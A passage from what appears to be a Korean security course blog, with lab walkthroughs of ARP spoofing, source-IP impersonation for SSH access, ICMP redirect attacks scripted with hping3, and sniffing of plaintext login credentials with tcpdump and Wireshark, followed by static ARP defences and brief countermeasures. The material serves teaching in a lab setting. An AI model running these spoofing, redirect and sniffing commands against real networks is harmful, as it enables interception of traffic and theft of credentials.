&gt;&gt;&gt; arp spoofing 공격 실행중 !!! &lt;&lt;&lt;
arpspoof -t 200.200.200.4 200.200.200.6 &gt; /dev/null 2&gt;&amp;1 &amp;
arpspoof -t 200.200.200.6 200.200.200.4 &gt; /dev/null 2&gt;&amp;1 &amp;
fragrouter -B1 &gt; /dev/null 2&gt;&amp;1

8. 가상 IP주소 추가 
리눅스 NIC에 eth0:1 을 200.200.200.4로 설정한다.
[root@kali ~]# ifconfig eth0:1 200.200.200.4

[root@kali ~]# ifconfig
eth0: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500
        inet 200.200.200.3  netmask 255.255.255.0  broadcast 200.200.200.255
        inet6 fe80::3a0a:df6f:1140:3e0b  prefixlen 64  scopeid 0x20&lt;link&gt;
        ether 00:0c:29:0e:30:1e  txqueuelen 1000  (Ethernet)
        RX packets 614  bytes 50586 (49.4 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 504  bytes 74566 (72.8 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth0:1: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500
        inet 200.200.200.4  netmask 255.255.255.0  broadcast 200.200.200.255
        ether 00:0c:29:0e:30:1e  txqueuelen 1000  (Ethernet)

lo: flags=73&lt;UP,LOOPBACK,RUNNING&gt;  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10&lt;host&gt;
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

9. arp cache table 확인
Victim3의 arp cache table을 확인하면 아래와 같다.
[root@victim3 ~]# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
200.200.200.2            ether   00:50:56:fa:09:53   C                     ens33
200.200.200.3            ether   00:0c:29:0e:30:1e   C                     ens33  &lt;--
200.200.200.1            ether   00:50:56:c0:00:08   C                     ens33
200.200.200.4            ether   00:0c:29:0e:30:1e   C                     ens33  &lt;--

10. 서버 장악
출발지 IP주소를 200.200.200.4 로 설정하고 Victim3의 서버로 접속한다.
[root@kali ~]# ssh -b 200.200.200.4 200.200.200.6
root@200.200.200.6&#39;s password: 
Last failed login: Tue Mar 14 00:19:33 KST 2023 from 200.200.200.4 on ssh:notty
There was 1 failed login attempt since the last successful login.
Last login: Mon Mar 13 19:50:10 2023 from 200.200.200.4

[root@victim3 ~]# ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:3d:bf:69 brd ff:ff:ff:ff:ff:ff
    inet 200.200.200.6/24 brd 200.200.200.255 scope global noprefixroute ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::7319:5898:3b71:d9bd/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever
[root@victim3 ~]# exit
</code></pre><blockquote>
<p><strong>실습&gt; Attacker/Victim1 복구하기</strong></p>
</blockquote>
<pre><code>Victim1(WinXP)  : 200.200.200.4 00:0c:29:0e:30:1e
Attacker(Kali)  : 200.200.200.3 00:0c:29:28:37:34
Victim3(CentOS7): 200.200.200.6 00:0c:29:3d:bf:69

1. Attacker 복구
실습이 다 끝났으면 원래의 MAC주소로 되돌린다.
사용법 : macchanger -m &lt;MAC주소&gt; &lt;인터페이스명&gt;
Attacker# macchanger -m 00:0c:29:28:37:34 eth0
Current MAC:   00:0c:29:0e:30:1e (VMware, Inc.)
Permanent MAC: 00:0c:29:28:37:34 (VMware, Inc.)
New MAC:       00:0c:29:28:37:34 (VMware, Inc.)

[root@kali ~]# arpspoof2.py 4 6
&gt;&gt;&gt; arp spoofing 공격 실행중 !!! &lt;&lt;&lt;
arpspoof -t 200.200.200.4 200.200.200.6 &gt; /dev/null 2&gt;&amp;1 &amp;
arpspoof -t 200.200.200.6 200.200.200.4 &gt; /dev/null 2&gt;&amp;1 &amp;
fragrouter -B1 &gt; /dev/null 2&gt;&amp;1
^Cpkill -9 arpspoof
&gt;&gt;&gt; arpspoof 공격 중지!!! &lt;&lt;&lt;

Attacker ~# ifconfig eth0:1 down

2. Victim1 복구
cmd &gt; ncpa.cpl &gt; 로컬 영역 연결 &gt; 속성 &gt; 구성 &gt; 고급 탭 &gt; Network Address 에서 없음으로 변경해서 NIC 정보를 변경한다.
변경 후 조금 시간이 지난 후 확인하면 변경된 MAC 주소를 확인할 수 있다.
C:\&gt;ncpa.cpl


C:\&gt;ipconfig/all

Windows IP Configuration

        Host Name . . . . . . . . . . . . : victim_winxp
        Primary Dns Suffix  . . . . . . . :
        Node Type . . . . . . . . . . . . : Broadcast
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter 로컬 영역 연결:

        Connection-specific DNS Suffix  . :
        Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter

        Physical Address. . . . . . . . . : 00-0C-29-0E-30-1E  &lt;-- 변경된 MAC 주소
        Dhcp Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : 200.200.200.4
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 200.200.200.2
        DNS Servers . . . . . . . . . . . : 200.200.200.6

변경 후 통신이 잘되는지 확인한다.
C:\&gt;ping 8.8.8.8

Pinging 8.8.8.8 with 32 bytes of data:

Reply from 8.8.8.8: bytes=32 time=38ms TTL=128
Reply from 8.8.8.8: bytes=32 time=39ms TTL=128
Reply from 8.8.8.8: bytes=32 time=38ms TTL=128
Reply from 8.8.8.8: bytes=32 time=38ms TTL=128

Ping statistics for 8.8.8.8:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 38ms, Maximum = 39ms, Average = 38ms

3. Victim3 복구
[root@victim3 ~]# iptables -P INPUT ACCEPT
[root@victim3 ~]# iptables -F
[root@victim3 ~]# iptables-save &gt; /etc/sysconfig/iptables
[root@victim3 ~]# iptables -nL
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination 
</code></pre><blockquote>
<p><strong>실습&gt; ARP 정적 변경하기</strong></p>
</blockquote>
<pre><code>!!! 주의할 점은 Gateway를 정적으로 설정해야 보안상 좋다. !!!

리눅스: arp -s IP주소 MAC주소
윈도우 XP: arp -s IP주소 MAC주소
윈도우 10&amp;11(윈도우 7이상 부터 변경)
- arp -s IP주소 MAC주소   X
- netsh interface ip add neighbors &quot;이더넷&quot; IP주소 MAC주소  O

1. 리눅스 설정
ARP Spoofing 공격이 발생하지 않은 상태의 MAC주소를 확인한다.
[root@victim3 ~]# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
200.200.200.2            ether   00:50:56:fa:09:53   C                     ens33
200.200.200.3            ether   00:0c:29:28:37:34   C                     ens33
200.200.200.1            ether   00:50:56:c0:00:08   C                     ens33
200.200.200.4            ether   00:0c:29:0e:30:1e   C                     ens33

[root@victim3 ~]# arp -s 200.200.200.2 00:50:56:fa:09:53

[root@victim3 ~]# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
200.200.200.2            ether   00:50:56:fa:09:53   CM                    ens33  &lt;-- CM이 나오면 정적으로 설정한 것이다.
200.200.200.3            ether   00:0c:29:28:37:34   C                     ens33
200.200.200.1            ether   00:50:56:c0:00:08   C                     ens33
200.200.200.4            ether   00:0c:29:0e:30:1e   C                     ens33

2. 윈도우 설정
C:\&gt;ping 8.8.8.8

C:\&gt;arp -a

Interface: 200.200.200.4 --- 0x20002
  Internet Address      Physical Address      Type
  200.200.200.1         00-50-56-c0-00-08     dynamic
  200.200.200.2         00-50-56-fa-09-53     dynamic

C:\&gt;arp -s 200.200.200.1 00-50-56-c0-00-08
C:\&gt;arp -s 200.200.200.2  00-50-56-fa-09-53

C:\&gt;arp -a

Interface: 200.200.200.4 --- 0x20002
  Internet Address      Physical Address      Type
  200.200.200.1         00-50-56-c0-00-08     static  &lt;-- Type 에 static이 나오면 정적으로 설정한 것이다.
  200.200.200.2         00-50-56-fa-09-53     static

</code></pre><blockquote>
<p><strong>실습&gt; ARP 정적 변경하기</strong></p>
</blockquote>
<pre><code>윈도우 XP: arp -s IP주소 MAC주소
윈도우 10&amp;11(윈도우 7이상 부터 변경)
- arp -s IP주소 MAC주소   X
- netsh interface ip add neighbors &quot;이더넷&quot; IP주소 MAC주소  O

Host OS에서 Gateway를 정적으로 설정한다.

C:\Users\user&gt;ipconfig

Windows IP 구성
   :
   :(생략)
이더넷 어댑터 이더넷:

   연결별 DNS 접미사. . . . :
   링크-로컬 IPv6 주소 . . . . : fe80::b57d:461e:601d:be64%13
   IPv4 주소 . . . . . . . . . : 192.168.20.213
   서브넷 마스크 . . . . . . . : 255.255.255.0
   기본 게이트웨이 . . . . . . : 192.168.20.1
  :
  :(생략)

C:\Users\user&gt;netsh interface ip show neighbors &quot;이더넷&quot;

인터페이스 13: 이더넷


인터넷 주소                              물리적 주소   유형
--------------------------------------------  -----------------  -----------
169.254.185.178                               연결할 수 없음           연결할 수 없음
169.254.255.255                               00-00-00-00-00-00  연결할  수 없음
192.168.20.1                                  88-36-6c-c2-2f-a8  연결 가 능
192.168.20.100                                b8-97-5a-40-b0-c9  부실
192.168.20.153                                52-c2-58-ad-30-4a  부실
192.168.20.154                                70-1a-b8-39-ad-05  부실
192.168.20.155                                1e-f0-1b-76-5d-e8  부실
  :
  :(생략)

C:\Users\user&gt;arp -a | findstr 192.168.20.1
  192.168.20.1          88-36-6c-c2-2f-a8     동적


cmd를 관리자 권한으로 실행해서 Gateway의 MAC주소를 정적으로 변경한다.
C:\Windows\system32&gt;netsh interface ip add neighbors &quot;이더넷&quot; 192.168.20.1 88-36-6c-c2-2f-a8
C:\Windows\system32&gt;arp -a | findstr 192.168.20.1
  192.168.20.1          88-36-6c-c2-2f-a8     정적


C:\Windows\system32&gt;ping 8.8.8.8

Ping 8.8.8.8 32바이트 데이터 사용:
8.8.8.8의 응답: 바이트=32 시간=38ms TTL=111
8.8.8.8의 응답: 바이트=32 시간=46ms TTL=111
8.8.8.8의 응답: 바이트=32 시간=38ms TTL=111
8.8.8.8의 응답: 바이트=32 시간=38ms TTL=111

8.8.8.8에 대한 Ping 통계:
    패킷: 보냄 = 4, 받음 = 4, 손실 = 0 (0% 손실),
왕복 시간(밀리초):
    최소 = 38ms, 최대 = 46ms, 평균 = 40ms
</code></pre><blockquote>
<p><strong>실습&gt; ICMP Redirect 공격하기</strong></p>
</blockquote>
<pre><code>Victim1 Windows XP가 정적으로 MAC주소를 고정하면 ARP redirect 공격이 안되므로 공격자는 ICMP redirect 공격을 시도한다.
Victim1 Windows XP가 방화벽이 설정되어 있어서 ping을 막으면 공격이 안된다.

Victim1 Windows XP에서 방화벽을 모두 사용안함으로 설정하고 진행한다.

실행 -&gt; firewall.cpl -&gt; 방화벽 사용안함.

1. 정적 arp 설정
C:\&gt;ping 8.8.8.8
C:\&gt;arp -a

Interface: 200.200.200.4 --- 0x20002
  Internet Address      Physical Address      Type
  200.200.200.1         00-50-56-c0-00-08     dynamic
  200.200.200.2         00-50-56-fa-09-53     dynamic

C:\&gt;arp -s 200.200.200.1 00-50-56-c0-00-08
C:\&gt;arp -s 200.200.200.2  00-50-56-fa-09-53

C:\&gt;arp -a

Interface: 200.200.200.4 --- 0x20002
  Internet Address      Physical Address      Type
  200.200.200.1         00-50-56-c0-00-08     static  &lt;-- Type 에 static이 나오면 정적으로 설정한 것이다.
  200.200.200.2         00-50-56-fa-09-53     static

2. 공격 파일 생성
[root@kali ~]# vi icmpRedirect.sh
#!/bin/sh
# 파일명: icmpRedirect.sh
# 프로그램 설명: icmp redirect attack
# 작성자: 리눅스마스터넷

# ICMP Redirect 공격 전 (정상적인 상태)
#      200.200.200.0/24
# [Victim1]----------[Gateway]----------[Google]
#    .4                 .2               8.8.8.8

# ICMP Redirect 공격 후 (비정상적인 상태)
#      200.200.200.0/24
# [Victim1]----------[Attacker]----------[Gateway]----------[Google]
#    .4                  .3                 .2               8.8.8.8

# hping3 옵션 설명
# -1: ICMP
# -C: ICMP Type (5) Redirect
# -K: ICMP Code (1) Host
# --icmp-gw: Attacker IP address
# --icmp-ipsrc: Victim IP address
# --icmp-ipdst: Target IP address
# -a: Gateway IP address
# -c: Packet count
hping3 200.200.200.4 \
-c 1000 -1 -C 5 -K 1 \
--icmp-gw 200.200.200.3 \
--icmp-ipsrc 200.200.200.4 \
--icmp-ipdst 8.8.8.8 \
-a 200.200.200.2 


#  -c  --count     packet count
#
# Mode
#   default mode     TCP
#   -0  --rawip      RAW IP mode
#   -1  --icmp       ICMP mode
#   -2  --udp        UDP mode
#   -8  --scan       SCAN mode.
#                    Example: hping --scan 1-30,70-90 -S www.target.host
#   -9  --listen     listen mode
#
# IP
#  -a  --spoof      spoof source address
#
# ICMP
#  -C  --icmptype   icmp type (default echo request)
#  -K  --icmpcode   icmp code (default 0)
#      --icmp-gw    set gateway address for ICMP redirect (default 0.0.0.0)
# 
# 더 많은 ICMP의 도움말을 확인하기 위해서는 --icmp-help 옵션을 사용해야 한다.
# hping3 --icmp-help  
# ICMP help:
# ICMP concerned packet options:
#  --icmp-ipver     set ip version               ( default 4 )
#  --icmp-iphlen    set ip header length         ( default IPHDR_SIZE &gt;&gt; 2)
#  --icmp-iplen     set ip total length          ( default real length )
#  --icmp-ipid      set ip id                    ( default random )
#  --icmp-ipproto   set ip protocol              ( default IPPROTO_TCP )
#  --icmp-ipsrc     set ip source                ( default 0.0.0.0 )
#  --icmp-ipdst     set ip destination           ( default 0.0.0.0 )
#  --icmp-srcport   set tcp/udp source port      ( default random )
#  --icmp-dstport   set tcp/udp destination port ( default random )
#  --icmp-cksum     set icmp checksum            ( default the right cksum)

[root@kali ~]# chmod 755 icmpRedirect.sh

3. 라우팅 테이블 확인

ICMP Redirect 공격 전 라우팅 테이블
C:\&gt;route print
===========================================================================
Interface List
0x1 ........................... MS TCP Loopback interface
0x20002 ...00 0c 29 0e 30 1e ...... AMD PCNET Family PCI Ethernet Adapter - 패킷
 스케줄러 미니 포트
===========================================================================
===========================================================================
Active Routes:
Network Destination        Netmask          Gateway       Interface  Metric
          0.0.0.0          0.0.0.0    200.200.200.2   200.200.200.4       10
        127.0.0.0        255.0.0.0        127.0.0.1       127.0.0.1       1
    200.200.200.0    255.255.255.0    200.200.200.4   200.200.200.4       10
    200.200.200.4  255.255.255.255        127.0.0.1       127.0.0.1       10
  200.200.200.255  255.255.255.255    200.200.200.4   200.200.200.4       10
        224.0.0.0        240.0.0.0    200.200.200.4   200.200.200.4       10
  255.255.255.255  255.255.255.255    200.200.200.4   200.200.200.4       1
Default Gateway:     200.200.200.2
===========================================================================
Persistent Routes:
  None

tracert 로 확인한다.
C:\&gt;tracert -d 8.8.8.8

Tracing route to 8.8.8.8 over a maximum of 30 hops

  1    &lt;1 ms    &lt;1 ms    &lt;1 ms  200.200.200.2
  2     1 ms     1 ms     1 ms  192.168.20.1
  3  ^C

4. ICMP Redirect 공격

[root@kali ~]# echo 1 &gt; /proc/sys/net/ipv4/ip_forward
[root@kali ~]# ./icmpRedirect.sh 
HPING 200.200.200.4 (eth0 200.200.200.4): icmp mode set, 28 headers + 0 data bytes

5. 정보 확인
Victim1에서 라우팅 테이블을 확인한다.
C:\&gt;route print
===========================================================================
Interface List
0x1 ........................... MS TCP Loopback interface
0x20002 ...00 0c 29 0e 30 1e ...... AMD PCNET Family PCI Ethernet Adapter - 패킷
 스케줄러 미니 포트
===========================================================================
===========================================================================
Active Routes:
Network Destination        Netmask          Gateway       Interface  Metric
          0.0.0.0          0.0.0.0    200.200.200.2   200.200.200.4       10
          8.8.8.8  255.255.255.255    200.200.200.3   200.200.200.4       1    &lt;-- 변조된 GW정보
        127.0.0.0        255.0.0.0        127.0.0.1       127.0.0.1       1
    200.200.200.0    255.255.255.0    200.200.200.4   200.200.200.4       10
    200.200.200.4  255.255.255.255        127.0.0.1       127.0.0.1       10
  200.200.200.255  255.255.255.255    200.200.200.4   200.200.200.4       10
        224.0.0.0        240.0.0.0    200.200.200.4   200.200.200.4       10
  255.255.255.255  255.255.255.255    200.200.200.4   200.200.200.4       1
Default Gateway:     200.200.200.2
===========================================================================
Persistent Routes:
  None

외부로 ping이 되는지 확인한다.
C:\&gt;ping 8.8.8.8

Pinging 8.8.8.8 with 32 bytes of data:

Reply from 8.8.8.8: bytes=32 time=38ms TTL=128
Reply from 8.8.8.8: bytes=32 time=39ms TTL=128
Reply from 8.8.8.8: bytes=32 time=39ms TTL=128
Reply from 8.8.8.8: bytes=32 time=39ms TTL=128

Ping statistics for 8.8.8.8:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 38ms, Maximum = 39ms, Average = 38ms

tracert로 경로를 확인하면 200.200.200.3이 1번으로 올라오는 것을 확인할 수 있다.
C:\&gt;tracert -d 8.8.8.8

Tracing route to 8.8.8.8 over a maximum of 30 hops

  1    &lt;1 ms    &lt;1 ms    &lt;1 ms  200.200.200.3   &lt;-- 변조된 GW정보
  2    &lt;1 ms    &lt;1 ms    &lt;1 ms  200.200.200.2
  3     1 ms    &lt;1 ms    &lt;1 ms  192.168.20.1
  4  ^C
</code></pre><blockquote>
<p><strong>실습&gt; ICMP 리다이렉트 설정하기</strong></p>
</blockquote>
<pre><code>도메인은 https로 접속
https://linuxmaster.net/login.html?userid=admin&amp;userpw=1234
Array ( [userid] =&gt; admin [userpw] =&gt; 1234 )

IP주소는 http로 접속이 가능하다.
http://45.120.69.175/login.html?userid=admin&amp;userpw=1234
http://45.120.69.175/login.php


1. IP주소 확인
C:\Users\user2&gt;nslookup
Default Server:  kns.kornet.net
Address:  168.126.63.1

&gt; linuxmaster.net
Server:  kns.kornet.net
Address:  168.126.63.1

Non-authoritative answer:
Name:    linuxmaster.net
Address:  45.120.69.175

&gt; exit

2. 정적 arp 확인
C:\&gt;arp -a

Interface: 200.200.200.4 --- 0x2
  Internet Address      Physical Address      Type
  200.200.200.2         00-50-56-fa-09-53     static

3. 공격 실행
icmpRedirect.sh 파일을 icmpRedirect2.sh 파일로 복사하고 수정한다.
[root@kali ~]# cp icmpRedirect.sh icmpRedirect2.sh 
[root@kali ~]# vi icmpRedirect2.sh
#!/bin/sh
# 파일명: icmpRedirect2.sh
# 프로그램 설명: icmp redirect attack
# 작성자: 리눅스마스터넷

# ICMP Redirect 공격 전 (정상적인 상태)
#      200.200.200.0/24
# [Victim1]----------[Gateway]----------[Linuxmaster.net]
#    .4                 .2               45.120.69.175

# ICMP Redirect 공격 후 (비정상적인 상태)
#      200.200.200.0/24
# [Victim1]----------[Attacker]----------[Gateway]----------[Linuxmaster.net]
#    .4                  .3                 .2               45.120.69.175

# hping3 옵션 설명
# -1: ICMP
# -C: ICMP Type (5) Redirect
# -K: ICMP Code (1) Host
# --icmp-gw: Attacker IP address
# --icmp-ipsrc: Victim IP address
# --icmp-ipdst: Target IP address
# -a: Gateway IP address
# -c: Packet count
hping3 200.200.200.4 \
-c 10000 -1 -C 5 -K 1 \
--icmp-gw 200.200.200.3 \
--icmp-ipsrc 200.200.200.4 \
--icmp-ipdst 45.120.69.175 \
-a 200.200.200.2 

[root@kali ~]# ./icmpRedirect2.sh 
HPING 200.200.200.4 (eth0 200.200.200.4): icmp mode set, 28 headers + 0 data bytes

4. 라우팅 테이블 확인
C:\&gt;route print
===========================================================================
Interface List
0x1 ........................... MS TCP Loopback interface
0x2 ...00 0c 29 0e 30 1e ...... AMD PCNET Family PCI Ethernet Adapter - 패킷 스
케줄러 미니 포트
===========================================================================
===========================================================================
Active Routes:
Network Destination        Netmask          Gateway       Interface  Metric
          0.0.0.0          0.0.0.0    200.200.200.2   200.200.200.4       10
    45.120.69.175  255.255.255.255    200.200.200.3   200.200.200.4       1   &lt;-- 변조된 New Gateway
        127.0.0.0        255.0.0.0        127.0.0.1       127.0.0.1       1
    200.200.200.0    255.255.255.0    200.200.200.4   200.200.200.4       10
    200.200.200.4  255.255.255.255        127.0.0.1       127.0.0.1       10
  200.200.200.255  255.255.255.255    200.200.200.4   200.200.200.4       10
        224.0.0.0        240.0.0.0    200.200.200.4   200.200.200.4       10
  255.255.255.255  255.255.255.255    200.200.200.4   200.200.200.4       1
Default Gateway:     200.200.200.2
===========================================================================
Persistent Routes:
  None

5. 경로 확인
45.120.69.175로 가는 경로를 확인하면 200.200.200.3으로 가는 것을 확인할 수 있다.
C:\&gt;tracert -d 45.120.69.175

Tracing route to 45.120.69.175 over a maximum of 30 hops

  1    &lt;1 ms    &lt;1 ms    &lt;1 ms  200.200.200.3
  2    &lt;1 ms     *       &lt;1 ms  200.200.200.2
  3  ^C

6. 패킷 덤프
tcpdump로 패킷을 덤프 받는다.
[root@kali ~]# tcpdump -i eth0 port 80 -nn
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes



Victim1 WinXP에서 브라우저로 열어서 http로 접속한다.
http://45.120.69.175/login.html?userid=admin&amp;userpw=1234
Array ( [userid] =&gt; admin [userpw] =&gt; 1234 ) 


01:15:26.550811 IP 200.200.200.4.1036 &gt; 45.120.69.175.80: Flags [S], seq 1978541915, win 64240, options [mss 1460,nop,nop,sackOK], length 0
01:15:26.550883 IP 200.200.200.4.1036 &gt; 45.120.69.175.80: Flags [S], seq 1978541915, win 64240, options [mss 1460,nop,nop,sackOK], length 0
01:15:26.554747 IP 45.120.69.175.80 &gt; 200.200.200.4.1036: Flags [S.], seq 1536755750, ack 1978541916, win 64240, options [mss 1460], length 0
01:15:26.554749 IP 200.200.200.4.1036 &gt; 45.120.69.175.80: Flags [.], ack 1, win 64240, length 0
01:15:26.554761 IP 200.200.200.4.1036 &gt; 45.120.69.175.80: Flags [P.], seq 1:318, ack 1, win 64240, length 317: HTTP: GET /login.html?userid=admin&amp;userpw=1234 HTTP/1.1
01:15:26.555062 IP 45.120.69.175.80 &gt; 200.200.200.4.1036: Flags [.], ack 318, win 64240, length 0
01:15:26.559226 IP 45.120.69.175.80 &gt; 200.200.200.4.1036: Flags [P.], seq 1:242, ack 318, win 64240, length 241: HTTP: HTTP/1.1 200 OK
01:15:26.663910 IP 45.120.69.175.80 &gt; 200.200.200.4.1036: Flags [P.], seq 1:242, ack 318, win 64240, length 241: HTTP: HTTP/1.1 200 OK
01:15:26.663912 IP 200.200.200.4.1036 &gt; 45.120.69.175.80: Flags [.], ack 242, win 63999, length 0


패킷을 덤프 받아서 loginAttack.pcap 파일로 저장한다.
[root@kali ~]# tcpdump -i eth0 -w loginAttack.pcap
tcpdump: listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes


Victim1 WinXP에서 브라우저로 열어서 http로 접속한다.
http://45.120.69.175/login.html?userid=admin&amp;userpw=111111
Array ( [userid] =&gt; admin [userpw] =&gt; 111111 ) 

^C46 packets captured
50 packets received by filter
0 packets dropped by kernel

7. 아이디/비번 확인
[root@kali ~]# mv loginAttack.pcap /home/kali/

kali 사용자에서 wireshark를 실행해서 loginAttack.pcap 파일을 불러들여서 분석한다.

GET /login.html?userid=admin&amp;userpw=111111 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Accept-Language: ko
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 45.120.69.175
Connection: Keep-Alive

HTTP/1.1 200 OK
Date: Wed, 12 Oct 2022 05:17:23 GMT
Server: Apache
Content-Length: 55
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Array
(
    [userid] =&gt; admin
    [userpw] =&gt; 111111
)

8. 패킷 덤프
[root@kali ~]# tcpdump -i eth0 -w /home/kali/loginAttack2.pcap
tcpdump: listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes


Victim1 WinXP에서 브라우저로 열어서 http로 접속한다.
http://45.120.69.175/login.php

아이디: test
비밀번호: test


패킷을 저장했다면 종료한다.

^C71 packets captured
74 packets received by filter
0 packets dropped by kernel


9. 아이디/비번 확인
와이어샤크에서 loginAttack2.pcap을 열어서 아이디/비밀번호를 확인한다.

POST /loginok.php &gt; Follow TCP Stream으로 확인한다.

POST /loginok.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://45.120.69.175/login.php
Accept-Language: ko
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 45.120.69.175
Content-Length: 25
Connection: Keep-Alive
Cache-Control: no-cache

userid1=test&amp;userpw1=testHTTP/1.1 200 OK   &lt;-- 아이디/비번을 확인할 수 있다.
Date: Wed, 12 Oct 2022 05:33:28 GMT
Server: Apache
Set-Cookie: PHPSESSID=ok05d8nv4uriasi3tjah2hkur6; path=/; secure; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 134
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

 &lt;script language=JavaScript&gt;
          &lt;!--
              location.href = &#39;login.php&#39;;
          //--&gt;
          &lt;/script&gt;


  :
  :(생략)
</code></pre><p>💥대응방안💥
-pdf 참고
-방화벽을 활성화해서 ICMP를 차단한다.
-리눅스는 커널 파라미터 설정을 한다.
-윈도우는 레지스트리 설정, ICMP Redirect를 차단한다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[네트워크 보안 운영 - 1 (교육 75일차)]]></title>
            <link>https://velog.io/@security_code/%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EB%B3%B4%EC%95%88-%EC%9A%B4%EC%98%81-1</link>
            <guid>https://velog.io/@security_code/%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EB%B3%B4%EC%95%88-%EC%9A%B4%EC%98%81-1</guid>
            <pubDate>Mon, 13 Mar 2023 12:46:05 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/security_code/post/35e53348-43f3-419b-8a4e-6256d317a127/image.PNG" alt=""></p>
<p><img src="https://velog.velcdn.com/images/security_code/post/6a364055-4a5f-4b6e-b4a8-0e435480c55b/image.PNG" alt=""></p>
<p><img src="https://velog.velcdn.com/images/security_code/post/7d0dd7fd-60c8-41f0-ae68-c57e59f163dc/image.PNG" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/ebe751e4-69bb-4729-8989-9e8359449172/image.PNG" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/20fdd534-02fc-4b77-ae73-430ae4a8f3ec/image.PNG" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/3196f0a1-268e-4380-a024-bd2c9a49b9b6/image.PNG" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/7c975be8-53f5-4ff6-84d8-e6380b791cc1/image.PNG" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/ce8fe725-dabf-4e3d-92e9-42a1df09914b/image.PNG" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/b4accad3-a7ab-4d2e-a4cd-6c899093fa57/image.PNG" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/ac27f3b7-993d-470f-8410-9ce6ff9c84e1/image.PNG" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/5ebd01a6-3dad-4b6c-9d49-29c3d6e3ef19/image.PNG" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/b2964fbc-7428-4dc9-af1b-21c6df6b9bb3/image.PNG" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/056b314c-f908-4590-aca4-990a127cc9e9/image.PNG" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/10b7d1b8-6dd5-44f6-a45c-f6191f63377c/image.PNG" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/cc5b5dff-d9d0-41cb-bdc7-1cf76b2b1d16/image.PNG" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/ef3f8fa4-156d-40d5-a6ed-aec2d4598122/image.PNG" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/09c820a7-1a0a-4f56-9cdb-54560a7afcb9/image.PNG" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/7673f8d2-61b3-4576-b327-8354ac334025/image.PNG" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/86172e07-20bd-4816-ae2f-c093823da148/image.PNG" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/3956de41-0e9e-42f3-bc24-e8fce86c1e47/image.PNG" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/ea9255fb-df67-4528-8d64-987bb62a24f1/image.PNG" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/3d7a424e-d67a-47f1-96ff-210b66e38f8a/image.PNG" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/258b6b3f-ae8a-4229-8f57-50a7ad2b0a1a/image.PNG" alt="">
